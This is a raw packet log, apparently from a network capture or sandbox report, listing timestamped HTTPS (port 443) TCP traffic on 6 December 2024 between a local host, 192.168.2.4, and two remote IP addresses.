Dec 6, 2024 09:42:19.079366922 CET	49839	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.079710007 CET	49839	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.079761028 CET	443	49839	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.079864979 CET	49839	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.121567011 CET	49839	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.121601105 CET	443	49839	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.158791065 CET	443	49844	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.159085035 CET	49844	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.159113884 CET	443	49844	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.160181046 CET	443	49844	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.160250902 CET	49844	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.160581112 CET	49844	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.160641909 CET	443	49844	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.168396950 CET	49839	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.215332985 CET	49844	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.215351105 CET	443	49844	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.262176037 CET	49844	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.659245968 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.659306049 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.659346104 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.659363985 CET	49837	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.659389973 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.659435034 CET	49837	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.659440994 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.659495115 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.659548044 CET	49837	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.661307096 CET	49837	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.661319971 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.887094975 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.887147903 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.887197971 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.887218952 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.887223959 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.887257099 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.887952089 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.895236969 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.895329952 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.935902119 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.939979076 CET	443	49839	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.940083981 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.940144062 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.940154076 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.940576077 CET	443	49839	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.940634012 CET	49839	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.941400051 CET	49839	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.941418886 CET	443	49839	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.950376987 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.950403929 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.950431108 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.950440884 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.950484037 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.073878050 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.080440044 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.080498934 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.080540895 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.094147921 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.094197035 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.094211102 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.107652903 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.107705116 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.107712984 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.121264935 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.121315002 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.121325016 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.134793997 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.134840965 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.134850979 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.148432970 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.148490906 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.148500919 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.162096977 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.162152052 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.162161112 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.175659895 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.175736904 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.175745010 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.193655014 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.193694115 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.193711996 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.193739891 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.193782091 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.202882051 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.246799946 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.246823072 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.265434027 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.265485048 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.265496016 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.267581940 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.267627001 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.267637014 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.280916929 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.280956030 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.280966043 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.294495106 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.294550896 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.294562101 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.307142019 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.307183981 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.307193041 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.319581985 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.319637060 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.319643974 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.331181049 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.331232071 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.331248999 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.342919111 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.342977047 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.342983961 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.353286982 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.353339911 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.353347063 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.363425970 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.363472939 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.363477945 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.372980118 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.373033047 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.373040915 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.382360935 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.382427931 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.382436991 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.391645908 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.391700029 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.391706944 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.402297020 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.402359009 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.402364969 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.409817934 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.409858942 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.409866095 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.418243885 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.418292046 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.418299913 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.426780939 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.426834106 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.426840067 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.435427904 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.435473919 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.435482025 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.443816900 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.443869114 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.443876028 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.452384949 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.452429056 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.452435970 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.463196993 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.463241100 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.463249922 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.466836929 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.466886997 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.466892958 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.473001003 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.473053932 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.473062038 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.478831053 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.478878975 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.478890896 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.484729052 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.484775066 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.484782934 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.490689039 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.490737915 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.490746975 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.496572971 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.496623039 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.496629953 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.502548933 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.502594948 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.502603054 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.511404991 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.511456013 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.511462927 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.523500919 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.523552895 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.523560047 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.524867058 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.524910927 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.524915934 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.534209967 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.534257889 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.534265041 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.534977913 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.535027027 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.535032034 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.537445068 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.537496090 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.537501097 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.537519932 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:20.537566900 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.537646055 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:20.537662983 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:21.686242104 CET	49859	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:21.686264992 CET	443	49859	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:21.686342955 CET	49859	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:21.686722994 CET	49859	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:21.686737061 CET	443	49859	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:22.798031092 CET	49844	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:23.085576057 CET	443	49859	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:23.085634947 CET	49859	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:23.086256027 CET	49859	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:23.086267948 CET	443	49859	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:23.088406086 CET	49859	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:23.088411093 CET	443	49859	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:23.176829100 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:23.176866055 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:23.176949978 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:23.177280903 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:23.177290916 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.123018980 CET	443	49859	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.123085976 CET	49859	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.123096943 CET	443	49859	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.123140097 CET	49859	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.124532938 CET	49859	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.124556065 CET	443	49859	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.190195084 CET	49872	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.190232992 CET	443	49872	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.190524101 CET	49872	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.190817118 CET	49872	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.190824986 CET	443	49872	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.573241949 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.573362112 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.573985100 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.573992968 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.576721907 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.576721907 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.576730013 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.576740980 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.576765060 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.576770067 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.576819897 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.576831102 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.576841116 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.576847076 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.576875925 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.576884985 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.576932907 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.576940060 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.576948881 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.576956987 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.576968908 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.576992035 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577003002 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.577008963 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577025890 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.577033043 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577042103 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.577044964 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577115059 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.577121019 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577128887 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.577136040 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.577136993 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577146053 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577356100 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.577377081 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577393055 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.577399015 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.577399969 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577404976 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.577406883 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577413082 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577424049 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.577428102 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577491999 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.577497959 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:24.577502966 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:24.619344950 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:25.589484930 CET	443	49872	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:25.589776993 CET	49872	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:25.591250896 CET	49872	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:25.591258049 CET	443	49872	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:25.592046022 CET	49872	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:25.592051029 CET	443	49872	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:25.592160940 CET	49872	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:25.592179060 CET	443	49872	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:25.592206955 CET	49872	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:25.592211008 CET	443	49872	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:25.592325926 CET	49872	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:25.592348099 CET	443	49872	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:25.592550039 CET	49872	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:25.592575073 CET	443	49872	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:26.448009014 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:26.448110104 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:26.448216915 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:26.449485064 CET	49866	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:26.449503899 CET	443	49866	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:26.549789906 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:26.549844980 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:26.549920082 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:26.550163984 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:26.550174952 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.073534966 CET	443	49872	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.073601961 CET	443	49872	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.073735952 CET	49872	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.074683905 CET	49872	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.074701071 CET	443	49872	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.552963972 CET	49879	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.553018093 CET	443	49879	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.553214073 CET	49879	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.553499937 CET	49879	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.553517103 CET	443	49879	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.947664976 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.947834969 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.948535919 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.948548079 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.950381994 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.950391054 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.950460911 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.950472116 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.950483084 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.950486898 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.950551033 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.950560093 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.950567007 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.950570107 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.950676918 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.950740099 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.950803995 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.950810909 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.950855017 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.950872898 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.950876951 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.950896978 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.950980902 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.950992107 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.951005936 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.951018095 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.951091051 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.951091051 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:27.951102018 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:27.951111078 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:28.950819016 CET	443	49879	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:28.950983047 CET	49879	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:28.951505899 CET	49879	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:28.951520920 CET	443	49879	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:28.953819036 CET	49879	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:28.953833103 CET	443	49879	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:29.683490038 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:29.683557034 CET	49878	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:29.683568001 CET	443	49878	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:29.683585882 CET	443	49878	5.75.212.196	192.168.2.4
